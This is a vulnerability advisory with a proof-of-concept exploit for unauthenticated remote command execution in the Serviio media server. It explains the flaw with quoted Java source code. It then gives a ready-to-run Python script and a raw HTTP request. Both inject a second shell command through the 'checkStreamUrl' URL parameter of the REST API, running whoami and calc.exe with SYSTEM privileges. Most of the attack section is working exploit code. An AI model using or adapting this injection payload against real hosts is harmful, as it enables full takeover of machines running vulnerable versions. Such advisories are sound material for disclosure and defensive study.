### SummaryServiio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network.### DescriptionThe version of Serviio installed on the remote Windows host is affected by an unauthenticated remote code execution vulnerability due to improper access control enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper calls cmd.exe to execute system commands. A remote attacker can exploit this with a simple JSON request, gaining system access with SYSTEM privileges via a specially crafted request and escape sequence.### VendorPetr Nejedly | Six Lines Ltd – http://www.serviio.org### Affected Version* 1.8.0.0 PRO* 1.7.1* 1.7.0* 1.6.1### Tested On* Restlet-Framework/2.2* Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8* Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8* Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8### detail`org/serviio/ui/resources/server/ActionsServerResource.java`:“`# ———————————————————–## private ResultRepresentation checkStreamUrl(ActionRepresentation representation) {# this.validateParameters(representation, 2);# try {# MediaFileType fileType = MediaFileType.valueOf(representation.getParameters().get(0));# String url = StringUtils.trim(representation.getParameters().get(1));# LocalItemMetadata md = MetadataFactory.getMetadataInstance(fileType);# DeliveryContext context = fileType == MediaFileType.VIDEO ? new VideoDeliveryContext(false, null) : new AudioDeliveryContext(false, null);# FFmpegMetadataRetriever.retrieveOnlineMetadata(md, url, context);# return this.responseOk();# }# catch (InvalidMediaFormatException e) {# return this.responseOk(603);# }#““serviio.jar / external / ProcessExecutor.java`:“`# ———————————————-## private Map<String, String> createWindowsRuntimeEnvironmentVariables() {# HashMap<String, String> newEnv = new HashMap<String, String>();# newEnv.putAll(System.getenv());# ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2];# i18n[0] = new ProcessExecutorParameter("cmd");# i18n[1] = new ProcessExecutorParameter("/C");# for (int counter = 0; counter < this.commandArguments.length; ++counter) {# ProcessExecutorParameter argument = this.commandArguments[counter];# String envName = "JENV_" + counter;# i18n[counter + 2] = new ProcessExecutorParameter("%" + envName + "%");# boolean quotesNeededForWindows = this.quotesNeededForWindows(argument);# if (!quotesNeededForWindows) {# argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue()));# }# newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows));# }# this.commandArguments = i18n;# String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty("java.io.tmpdir"));# newEnv.put("HOMEDRIVE", tempPath[0]);# newEnv.put("HOMEPATH", tempPath[1]);# newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables());# if (log.isTraceEnabled()) {# log.trace(String.format("Env variables: %s", newEnv.toString()));# }# return newEnv;# }## private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) {# return (quotesNeeded ? "\"" : "") + argument + (quotesNeeded ? "\"" : "");# }## protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) {# boolean quotesNeeded = argument.getValue().indexOf(" ") > -1;# return quotesNeeded;# }## private String escapeAmpersandForWindows(String value) {# return value.replaceAll("&", "^&");# }#“`
# The PoC will create a file testingus3.txt in 'C:\Program Files\Serviio\bin' with whoami# output in it and start a calc.exe child process as nt authority\system.#from urllib2 import Request, urlopenimport sysif (len(sys.argv) <= 1): print '[*] Usage: serviio_rce.py <ip address>' exit(0)host = sys.argv[1]values = """<action> <name>checkStreamUrl</name> <parameter>VIDEO</parameter> <parameter>1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'</parameter></action>"""headers = { 'Content-Type': 'application/xml', 'Accept': 'application/xml'}request = Request('http://'+host+':23423/rest/action', data=values, headers=headers)response_body = urlopen(request).read()print response_body'''Raw request:POST /rest/action HTTP/1.1Host: 10.211.55.3:23423Content-Length: 93Accept: application/json, text/plain, */*Origin: http://10.211.55.3:23423User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36Content-Type: application/json;charset=UTF-8Referer: http://10.211.55.3:23423/console/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.8DNT: 1Connection: close{"name":"checkStreamUrl","parameter":["VIDEO","1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'"]}'''
